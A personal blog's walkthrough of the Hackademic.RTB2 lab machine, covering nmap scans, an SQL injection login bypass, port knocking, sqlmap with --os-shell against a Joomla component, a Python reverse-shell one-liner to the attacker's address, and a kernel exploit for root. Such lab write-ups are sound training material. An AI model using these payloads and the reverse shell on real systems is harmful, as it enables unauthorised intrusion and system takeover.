Muzec's Cyber Security Blog

Hack. Sleep. Repeat

View on GitHub

Enumeration With Nmap

# Nmap 7.91 scan initiated Mon Sep 27 09:18:59 2021 as: nmap -sC -sV -p- -vv -oA nmap 172.16.139.228
Nmap scan report for 172.16.139.228
Host is up, received syn-ack (0.0017s latency).
Scanned at 2021-09-27 09:18:59 WAT for 9s
Not shown: 65534 closed ports
Reason: 65534 conn-refused
PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Apache httpd 2.2.14 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.14 (Ubuntu)
|_http-title: Hackademic.RTB2

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 27 09:19:08 2021 -- 1 IP address (1 host up) scanned in 8.95 seconds

Should be easy i guess we are having only one port which is the HTTP port 80 let hit it.

image

Ahhh the demon login page i will say damn because man i was stuck for some hours after trying sql injection, sqlmap man i got nothing you know what is funny man it actually vulnerable to sql injection after checking up write up for the part.

username:- ' or 1=1--'
password:- ' or 1=1--'

That the sql injection that work i don’t why all the payloads i try was not working.

image

Now we are in let check the page source maybe we can get some clues to move on.

image

I think we have something in the source.

image

It url-encoding so using CyberChef i Url-decode it and we have hex.

image

Decoding from hex and we have binary with a hint:- Knock Knock Knockin' on heaven's door .. :) .

image

Boom we have the port sequence to knock i will be using nmap to recursively hit the ports using the -r switch.

nmap -r -p 1001,1101,1011,1001 172.16.139.230
┌──(muzec㉿Muzec-Security)-[~/Documents/Vulnhubs/hackad]
└─$ nmap -r -p 1001,1101,1011,1001 172.16.139.230
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-27 12:15 WAT
WARNING: Duplicate port number(s) specified.  Are you alert enough to be using Nmap?  Have some coffee or Jolt(tm).
Nmap scan report for 172.16.139.230
Host is up (0.0033s latency).

PORT     STATE  SERVICE
1001/tcp closed webpush
1011/tcp closed unknown
1101/tcp closed pt2-discover

Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds
                                                                                                                                                                       
┌──(muzec㉿Muzec-Security)-[~/Documents/Vulnhubs/hackad]
└─$ nmap -sV 172.16.139.230                      
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-27 12:16 WAT
Nmap scan report for 172.16.139.230
Host is up (0.0015s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.14 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.23 seconds
                                                                                                                                                                       
┌──(muzec㉿Muzec-Security)-[~/Documents/Vulnhubs/hackad]
└─$ nmap -sV 172.16.139.230                      
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-27 12:16 WAT
Nmap scan report for 172.16.139.230
Host is up (0.0019s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE VERSION
80/tcp  open  http    Apache httpd 2.2.14 ((Ubuntu))
666/tcp open  http    Apache httpd 2.2.14 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.33 seconds
                                                                                                                                                                       
┌──(muzec㉿Muzec-Security)-[~/Documents/Vulnhubs/hackad]

We have a new port open now let try to access it.

image

Powered by joomla smmooth going through the pages i found something interesting with some strange parameters.

image

I decided to test it with sqlmap.

┌──(muzec㉿Muzec-Security)-[~/Documents/Vulnhubs/hackad]
└─$ sqlmap -u "http://172.16.139.230:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" --dbs   

image

Boom it vulnerable to SQL injection let try using the os-shell switch onsqlmap with the database joomla.

┌──(muzec㉿Muzec-Security)-[~/Documents/Vulnhubs/hackad]
└─$ sqlmap -u "http://172.16.139.230:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" -D joomla --os-shell
        ___

image

We have shell smooth right, Now let try and get a proper shell.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.139.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image

Now let root it we are taking long man lol.

Privilege Escalation

image

Pretty old versions let hit exploit-db.

image

We have the exploit now let get it onto our taget and compile it.

image

Ruuning and boom root.

image

Getting The Key.txt in the root folder.

image

But it in base64 let try and get it out.

image

Starting SimpleHTTPServer on the target open port 8000 on the target which we can access with the target IP:8000.

image

Now let get the Key.txt to decode.

image

Using CyberChef we know it a PNG image encode in base64.

image

Using CyberChef to convert it back to PNG.

image

We are done.

Greeting From Muzec



Back To Home